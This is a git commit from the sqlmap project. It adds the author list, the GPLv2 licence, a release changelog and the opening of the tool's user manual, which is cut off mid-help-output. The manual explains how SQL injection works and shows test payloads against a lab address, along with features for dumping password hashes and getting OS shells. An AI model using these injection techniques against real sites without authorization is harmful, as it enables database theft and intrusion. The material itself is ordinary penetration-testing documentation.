commit 8e3eb4551091373b631462caf66448dd71ec61ef
Author: Bernardo Damele
Date: Wed Oct 15 15:38:22 2008 +0000
After the storm, a restore..
diff --git a/doc/AUTHORS b/doc/AUTHORS
new file mode 100644
index 000000000..b534c3e1f
--- /dev/null
+++ b/doc/AUTHORS
@@ -0,0 +1,7 @@
+Bernardo Damele A. G. (inquis) - project leader, core developer
+
+PGP Key ID: 0x05F5A30F
+
+Daniele Bellucci (belch) - project founder, initial developer
+
+PGP Key ID: 0x9A0E8190
diff --git a/doc/COPYING b/doc/COPYING
new file mode 100644
index 000000000..b8602677e
--- /dev/null
+++ b/doc/COPYING
@@ -0,0 +1,340 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+ 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users. This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it. (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.) You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+ To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have. You must make sure that they, too, receive or can get the
+source code. And you must show them these terms so they know their
+rights.
+
+ We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+ Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software. If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+ Finally, any free program is threatened constantly by software
+patents. We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary. To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ GNU GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License. The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language. (Hereinafter, translation is included without limitation in
+the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+ 1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+ 2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ b) You must cause any work that you distribute or publish, that in
+ whole or in part contains or is derived from the Program or any
+ part thereof, to be licensed as a whole at no charge to all third
+ parties under the terms of this License.
+
+ c) If the modified program normally reads commands interactively
+ when run, you must cause it, when started running for such
+ interactive use in the most ordinary way, to print or display an
+ announcement including an appropriate copyright notice and a
+ notice that there is no warranty (or else, saying that you provide
+ a warranty) and that users may redistribute the program under
+ these conditions, and telling the user how to view a copy of this
+ License. (Exception: if the Program itself is interactive but
+ does not normally print such an announcement, your work based on
+ the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+ a) Accompany it with the complete corresponding machine-readable
+ source code, which must be distributed under the terms of Sections
+ 1 and 2 above on a medium customarily used for software interchange; or,
+
+ b) Accompany it with a written offer, valid for at least three
+ years, to give any third party, for a charge no more than your
+ cost of physically performing source distribution, a complete
+ machine-readable copy of the corresponding source code, to be
+ distributed under the terms of Sections 1 and 2 above on a medium
+ customarily used for software interchange; or,
+
+ c) Accompany it with the information you received as to the offer
+ to distribute corresponding source code. (This alternative is
+ allowed only for noncommercial distribution and only if you
+ received the program in object code or executable form with such
+ an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it. For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable. However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License. Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+ 5. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Program or its derivative works. These actions are
+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+ 6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+ 7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all. For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded. In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+ 9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation. If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+ 10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission. For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this. Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+ NO WARRANTY
+
+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+ Gnomovision version 69, Copyright (C) year name of author
+ Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary. Here is a sample; alter the names:
+
+ Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+ `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+ , 1 April 1989
+ Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs. If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library. If this is what you want to do, use the GNU Library General
+Public License instead of this License.
diff --git a/doc/ChangeLog b/doc/ChangeLog
new file mode 100644
index 000000000..526335202
--- /dev/null
+++ b/doc/ChangeLog
@@ -0,0 +1,229 @@
+sqlmap (0.6.1-1) stable; urgency=low
+
+ * Major bug fix to blind SQL injection bisection algorithm to handle an
+ exception;
+ * Written a Metasploit 3 auxiliary module to run sqlmap;
+ * Implemented possibility to test for and inject also on LIKE
+ statements;
+ * Implemented --start and --stop options to set the first and the last
+ table entry to dump;
+ * Added non-interactive/batch-mode (--batch) option to make it easy to
+ wrap sqlmap in Metasploit and any other tool;
+ * Minor enhancement to save also the length of query output in the
+ session file when retrieving the query output length for ETA or for
+ resume purposes. TODO: fix for ETA
+
+ -- Bernardo Damele A. G. Fri, 10 Oct 2008 10:00:00 +0100
+
+
+sqlmap (0.6-1) stable; urgency=low
+
+ * Complete code refactor and many bugs fixed;
+ * Added multithreading support to set the maximum number of concurrent
+ HTTP requests;
+ * Implemented SQL shell (--sql-shell) functionality and fixed SQL query
+ (--sql-query, before called -e) to be able to run whatever SELECT
+ statement and get its output in both inband and blind SQL injection
+ attack;
+ * Added an option (--privileges) to retrieve DBMS users privileges, it
+ also notifies if the user is a DBMS administrator;
+ * Added support (-c) to read options from configuration file, an example
+ of valid INI file is sqlmap.conf and support (--save) to save command
+ line options on a configuration file;
+ * Created a function that updates the whole sqlmap to the latest stable
+ version available by running sqlmap with --update option;
+ * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.)
+ installation binary packages;
+ * Created sqlmap .exe (Windows) portable executable;
+ * Save a lot of more information to the session file, useful when
+ resuming injection on the same target to not loose time on identifying
+ injection, UNION fields and back-end DBMS twice or more times;
+ * Improved automatic check for parenthesis when testing and forging SQL
+ query vector;
+ * Now it checks for SQL injection on all GET/POST/Cookie parameters then
+ it lets the user select which parameter to perform the injection on in
+ case that more than one is injectable;
+ * Implemented support for HTTPS requests over HTTP(S) proxy;
+ * Added a check to handle NULL or not available queries output;
+ * More entropy (randomStr() and randomInt() functions in
+ lib/core/common.py) in inband SQL injection concatenated query and in
+ AND condition checks;
+ * Improved XML files structure;
+ * Implemented the possibility to change the HTTP Referer header;
+ * Added support to resume from session file also when running with
+ inband SQL injection attack;
+ * Added an option (--os-shell) to execute operating system commands if
+ the back-end DBMS is MySQL, the web server has the PHP engine active
+ and permits write access on a directory within the document root;
+ * Added a check to assure that the provided string to match (--string)
+ is within the page content;
+ * Fixed various queries in XML file;
+ * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted
+ the library to parse it;
+ * Fixed password fetching function, mainly for Microsoft SQL Server and
+ reviewed the password hashes parsing function;
+ * Major bug fixed to avoid tracebacks when the testable parameter(s) is
+ dynamic, but not injectable;
+ * Enhanced logging system: added three more levels of verbosity to show
+ also HTTP sent and received traffic;
+ * Enhancement to handle Set-Cookie from target url and automatically
+ re-establish the Session when it expires;
+ * Added support to inject also on Set-Cookie parameters;
+ * Implemented TAB completion and command history on both --sql-shell and
+ --os-shell;
+ * Renamed some command line options;
+ * Added a conversion library;
+ * Added code schema and reminders for future developments;
+ * Added Copyright comment and $Id$ svn property to all Python files;
+ * Updated the command line layout and help messages;
+ * Updated some docstrings;
+ * Updated documentation files.
+
+ -- Bernardo Damele A. G. Mon, 1 Sep 2008 10:00:00 +0100
+
+
+sqlmap (0.5-1) stable; urgency=low
+
+ * Added support for Oracle database management system
+ * Extended inband SQL injection functionality (--union-use) to all
+ other possible queries since it only worked with -e and --file on
+ all DMBS plugins;
+ * Added support to extract database users password hash on Microsoft
+ SQL Server;
+ * Added a fuzzer function with the aim to parse HTML page looking
+ for standard database error messages consequently improving
+ database fingerprinting;
+ * Added support for SQL injection on HTTP Cookie and User-Agent headers;
+ * Reviewed HTTP request library (lib/request.py) to support the
+ extended inband SQL injection functionality. Splitted getValue()
+ into getInband() and getBlind();
+ * Major enhancements in common library and added checkForBrackets()
+ method to check if the bracket(s) are needed to perform a UNION query
+ SQL injection attack;
+ * Implemented --dump-all functionality to dump entire DBMS data from
+ all databases tables;
+ * Added support to exclude DBMS system databases' when enumeration
+ tables and dumping their entries (--exclude-sysdbs);
+ * Implemented in Dump.dbTableValues() method the CSV file dumped data
+ automatic saving in csv/ folder by default;
+ * Added DB2, Informix and Sybase DBMS error messages and minor
+ improvements in xml/errors.xml;
+ * Major improvement in all three DBMS plugins so now sqlmap does not
+ get entire databases' tables structure when all of database/table/
+ column are specified to be dumped;
+ * Important fixes in lib/option.py to make sqlmap properly work also
+ with python 2.5 and handle the CSV dump files creation work also
+ under Windows operating system, function __setCSVDir() and fixed
+ also in lib/dump.py;
+ * Minor enhancement in lib/injection.py to randomize the number
+ requested to test the presence of a SQL injection affected parameter
+ and implemented the possibilities to break (q) the for cycle when
+ using the google dork option (-g);
+ * Minor fix in lib/request.py to properly encode the url to request
+ in case the "fixed" part of the url has blank spaces;
+ * More minor layout enhancements in some libraries;
+ * Renamed DMBS plugins;
+ * Complete code refactoring, a lot of minor and some major fixes in
+ libraries, many minor improvements;
+ * Updated all documentation files.
+
+ -- Bernardo Damele A. G. Sun, 4 Nov 2007 20:00:00 +0100
+
+
+sqlmap (0.4-1) stable; urgency=low
+
+ * Added DBMS fingerprint based also upon HTML error messages parsing
+ defined in lib/parser.py which reads an XML file defining default
+ error messages for each supported DBMS;
+ * Added Microsoft SQL Server extensive DBMS fingerprint checks based
+ upon accurate '@@version' parsing matching on an XML file to get also
+ the exact patching level of the DBMS;
+ * Added support for query ETA (Estimated Time of Arrival) real time
+ calculation (--eta);
+ * Added support to extract database management system users password
+ hash on MySQL and PostgreSQL (--passwords);
+ * Added docstrings to all functions, classes and methods, consequently
+ released the sqlmap development documentation
+ ;
+ * Implemented Google dorking feature (-g) to take advantage of Google
+ results affected by SQL injection to perform other command line
+ argument on their DBMS;
+ * Improved logging functionality: passed from banal 'print' to Python
+ native logging library;
+ * Added support for more than one parameter in '-p' command line
+ option;
+ * Added support for HTTP Basic and Digest authentication methods
+ (--basic-auth and --digest-auth);
+ * Added the command line option '--remote-dbms' to manually specify
+ the remote DBMS;
+ * Major improvements in union.UnionCheck() and union.UnionUse()
+ functions to make it possible to exploit inband SQL injection also
+ with database comment characters ('--' and '#') in UNION SELECT
+ statements;
+ * Added the possibility to save the output into a file while performing
+ the queries (-o OUTPUTFILE) so it is possible to stop and resume the
+ same query output retrieving in a second time (--resume);
+ * Added support to specify the database table column to enumerate
+ (-C COL);
+ * Added inband SQL injection (UNION SELECT) support (--union-use);
+ * Complete code refactoring, a lot of minor and some major fixes in
+ libraries, many minor improvements;
+ * Reviewed the directory tree structure;
+ * Splitted lib/common.py: inband injection functionalities now are
+ moved to lib/union.py;
+ * Updated documentation files.
+
+ -- Bernardo Damele A. G. Fri, 15 Jun 2007 20:00:00 +0100
+
+
+sqlmap (0.3-1) stable; urgency=low
+
+ * Added module for MS SQL Server;
+ * Strongly improved MySQL dbms active fingerprint and added MySQL
+ comment injection check;
+ * Added PostgreSQL dbms active fingerprint;
+ * Added support for string match (--string);
+ * Added support for UNION check (--union-check);
+ * Removed duplicated code, delegated most of features to the engine
+ in common.py and option.py;
+ * Added support for --data command line argument to pass the string
+ for POST requests;
+ * Added encodeParams() method to encode url parameters before making
+ http request;
+ * Many bug fixes;
+ * Rewritten documentation files;
+ * Complete code restyling.
+
+ -- Bernardo Damele A. G. Sat, 20 Jan 2007 20:00:00 +0100
+
+
+sqlmap (0.2-1) stable; urgency=low
+
+ * complete refactor of entire program;
+ * added TODO and THANKS files;
+ * added some papers references in README file;
+ * moved headers to user-agents.txt, now -f parameter specifies a file
+ (user-agents.txt) and randomize the selection of User-Agent header;
+ * strongly improved program plugins (mysqlmap.py and postgres.py),
+ major enhancements:
+ * improved active mysql fingerprint check_dbms();
+ * improved enumeration functions for both databases;
+ * minor changes in the unescape() functions;
+ * replaced old inference algorithm with a new bisection algorithm.
+ * reviewed command line parameters, now with -p it's possible to
+ specify the parameter you know it's vulnerable to sql injection,
+ this way the script won't perform the sql injection checks itself;
+ removed the TOKEN parameter;
+ * improved Common class, adding support for http proxy and http post
+ method in hash_page;
+ * added OptionCheck class in option.py which performs all needed checks
+ on command line parameters and values;
+ * added InjectionCheck class in injection.py which performs check on
+ url stability, dynamics of parameters and injection on dynamic url
+ parameters;
+ * improved output methods in dump.py;
+ * layout enhancement on main program file (sqlmap.py), adapted to call
+ new option/injection classes and improvements on catching of
+ exceptions.
+
+ -- Bernardo Damele A. G. Wed, 13 Dec 2006 20:00:00 +0100
diff --git a/doc/README.html b/doc/README.html
new file mode 100644
index 000000000..975925622
--- /dev/null
+++ b/doc/README.html
@@ -0,0 +1,3264 @@
+
+
+
+
+ sqlmap user's manual
+
+
+sqlmap user's manual
+
+version 0.6, 1st of September 2008
+
+This document is the user's manual to use
+sqlmap.
+Check the project
+homepage
+for the latest version.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+sqlmap is an automatic
+SQL injection tool. Its goal is to detect and take advantage of
+SQL injection vulnerabilities on web applications. Once it detects one or
+more SQL injections on the target host, the user can choose among a
+variety of options to perform an extensive back-end database management
+system fingerprint, retrieve DBMS session user and database, enumerate
+users, password hashes, privileges, databases, dump entire or user's
+specific DBMS tables/columns, run his own SQL SELECT
statement,
+read specific files on the file system and much more.
+
+
+
+
+sqlmap is developed in
+Python,
+a dynamic object-oriented interpreted programming language.
+This makes the tool independent from the operating system since it only
+requires the Python interpreter.
+The interpreter is freely downloadable from its
+official site.
+To make it even easier, many GNU/Linux distributions come out of the box
+with Python interpreter package installed and other Unices and MacOS X
+too provide it packaged in their formats and ready to be installed.
+Windows users can download and install the Python setup-ready installer
+for x86, AMD64 and Itanium too.
+Optionally, if you are running sqlmap on Windows, you may wish to install
+PyReadline
+to be able to take advantage of the sqlmap TAB completion and history
+support functionalities in the SQL shell and OS shell.
+Note that these functionalities are available natively by Python official
+readline library on other operating systems.
+
+
+
+
+Let's say that you are auditing a web application and found a web page
+that accepts dynamic user-provided values on GET
or POST
+parameters or HTTP Cookie
values or HTTP User-Agent
+header value.
+You now want to test if these are affected by a SQL injection
+vulnerability, and if so, exploit them to retrieve as much information as
+possible out of the web application's back-end database management system
+or even be able to access the underlying operating system.
+Consider that the target url is:
+
+
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+
+
+Assume that:
+
+
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
+
+
+is the same page as the original one and:
+
+
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
+
+
+differs from the original one, it means that you are in front of a SQL
+injection vulnerability in the id
GET
parameter of the
+index.php
web application page which means that no IDS/IPS, no
+web application firewall, no parameters' value sanitization is performed
+on the server-side.
+This is a quite common flaw in dynamic content web applications and it
+does not depend upon the back-end database management system nor on the web
+application programming language: it is a programmer code's security flaw.
+The
+Open Web Application Security Project
+recently rated in their
+OWASP Top Ten survey this vulnerability as the
+most common and important web application vulnerability, second only to
+Cross-Site Scripting.
+Back to the scenario, probably the SQL SELECT
statemenet into
+index.php
has a syntax similar to the following SQL query, in
+pseudo PHP code:
+
+
+$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
+
+
+As you can see, appending any other syntatically valid SQL condition after
+a value for id
such condition will take place when the web
+application passes the query to the back-end database management system
+that executes it, that is why the condition id=1 AND 1=1
is valid
+(True) and returns the same page as the original one, with the
+same content and without showing any SQL error message.
+Moreover, in this simple and easy to inject scenario it would be also
+possible to append, not just one or more valid SQL condition(s), but also
+stacked SQL queries, for instance something like [...]&id=1;
+ANOTHER SQL QUERY--
+Now that you found this SQL injection vulnerable parameter, you can
+exploit it by manipulating the id
parameter value in the HTTP
+request.
+There exist many
+resources
+on the Net explaining in depth how to prevent and how to exploit SQL
+injection vulnerabilities and it is recommended to read them if you are
+not familiar with the issue before going ahead with sqlmap.
+Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+to sqlmap, the tool will automatically:
+
+
+- Identify the vulnerable parameter(s) (
id
in this scenario);
+- Depending on the user's options, sqlmap uses the blind SQL
+injection or the inband SQL injection technique as described
+in the following section to go ahead with the exploiting.
+
+
+
+
+
+
+sqlmap implements two techniques to exploit a SQL injection vulnerability:
+
+
+- Blind SQL injection, also known as inference SQL
+injection: sqlmap appends to the affected parameter in the HTTP
+request, a syntatically valid SQL statement string containing a
+
SELECT
sub-statement, or any other SQL statement whose the user
+want to retrieve the output.
+For each HTTP response, by making a comparison based upon HTML page
+content hashes, or string matches, with the original request, the tool
+determines the output value of the statement character by character.
+The bisection algorithm implemented in sqlmap to perform this technique
+is able to fetch each output character with at maximum seven HTTP
+requests.
+This is sqlmap default SQL injection technique.
+- Inband SQL injection, also known as UNION query SQL
+injection: sqlmap appends to the affected parameter in the HTTP
+request, a syntatically valid SQL statement string starting with a
+
UNION ALL SELECT
. This techique is useful if the web application
+page passes the output of the SELECT
statement to a for
+cycle, or similar, so that each line of the query output is printed on the
+page content.
+This technique is much faster if the target url is affected by because
+in a single HTTP response it returns the whole query output within the
+page content.
+This SQL injection technique is an alternative to the first one.
+
+
+It is strongly recommended to run at least once sqlmap with the
+--union-test
option to test if the affected parameter is used
+within a for
cycle, or similar, and in case use
+--union-use
option to exploit this vulnerability because it
+saves a lot of time and it does not weight down the web server log file
+with hundreds of HTTP requests.
+
+
+
+
+Major features implemented in sqlmap include:
+
+
+- Full support for MySQL, Oracle, PostgreSQL
+and Microsoft SQL Server back-end database management systems.
+Besides these four database management systems, sqlmap can also identify
+Microsoft Access, DB2, Informix, Sybase and Interbase.
+- Extensive back-end database management system fingerprint
+based upon
+inband error messages,
+banner parsing,
+functions output comparison and
+specific features
+such as MySQL comment injection. It is also possible to force the back-end
+database management system name if you already know it.
+- Full support for two SQL injection techniques: blind SQL
+injection and inband SQL injection.
+- Options to retrieve on all four back-end database management system
+banner, current user, current database,
+enumerate users, users password hashes, users
+privileges, databases, tables, columns,
+dump tables entries, dump whole database management
+system and run your own SQL
SELECT
statement.
+- If the back-end database management system is MySQL it is also
+possible to read a specific file content and in some
+circumstances prompt for an interactive operating system shell
+with TAB completion and history support.
+- Automatically tests all provided GET parameters,
+POST parameters, HTTP Cookie header values and HTTP
+User-Agent header value to find the dynamic ones, which means
+those that vary the HTTP response page content.
+On the dynamic ones sqlmap automatically tests and detects the ones
+affected by SQL injection. Each dynamic parameter is tested for
+numeric, single quoted string, double quoted
+string and all of these three datatypes with zero, one and two
+parenthesis to correctly detect which is the
SELECT
statement syntax to
+perform further injections with. It is also possible to specify the
+parameter(s) that you want to perform tests and use for injection on.
+- Option to specify the maximum number of concurrent HTTP
+requests to speed up the blind SQL injection algorithms
+(multithreading).
+- HTTP
Cookie
header string support, useful when the
+web application requires authentication based upon cookies and you have
+such data or in case you just want to test for and exploit SQL injection
+on such header.
+- Automatically handle HTTP
Set-Cookie
header from
+target url, re-establishing of the session if it expires. Test and exploit
+on these values is supported too.
+- HTTP Basic and Digest authentications support.
+- Anonymous HTTP proxy support to pass by the HTTP requests
+to the target URL.
+- Options to fake the HTTP
Referer
header value and
+the HTTP User-Agent
header value specified by user or
+randomly selected from a text file.
+- Support to increase the verbosity level of output messages:
+there exist six levels. The default level is 0 (silent) in which
+only warnings, errors and tracebacks, if they occur, will be shown.
+- Estimated time of arrival support for each query, updated
+in real time while fetching the information to give to the user an
+overview on how long it will take to retrieve the output.
+- Support to save the session (queries and their output, even if
+partially retrieved) in real time while fetching the data on a text file
+and resume the injection from this file in a second time.
+- Support to read options from a configuration INI file rather than
+specify each time all of the options on the command line. Support also to
+save command line options on a configuration INI file.
+- PHP setting
magic_quotes_gpc
bypass by encoding
+every query string, between single quotes, with CHAR
, or similar,
+database management system function.
+
+
+
+
+
+
+sqlmap can be downloaded from its
+SourceForge File List page.
+It is available in various formats:
+
+
+
+
+Whatever way you downloaded sqlmap, run it with --update
+option to update it to the latest stable version available on its
+SourceForge File List page.
+
+
+
+
+sqlmap is released under the terms of the
+General Public License v2.
+sqlmap is copyrighted by
+Bernardo Damele A. G.
+and
+Daniele Bellucci.
+
+
+
+
+
+
+
+$ python sqlmap.py -h
+
+ sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+ and Daniele Bellucci <daniele.bellucci@gmail.com>
+
+Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
+
+Options:
+ --version show program's version number and exit
+ -h, --help show this help message and exit
+
+ Request:
+ These options have to be specified to set the target url, HTTP method,
+ how to connect to the target url or Google dorking results in general.
+
+ -u URL, --url=URL Target url
+ -g GOOGLEDORK Process Google dork results as target urls
+ -p TESTPARAMETER Testable parameter(s)
+ --method=METHOD HTTP method, GET or POST (default: GET)
+ --data=DATA Data string to be sent through POST
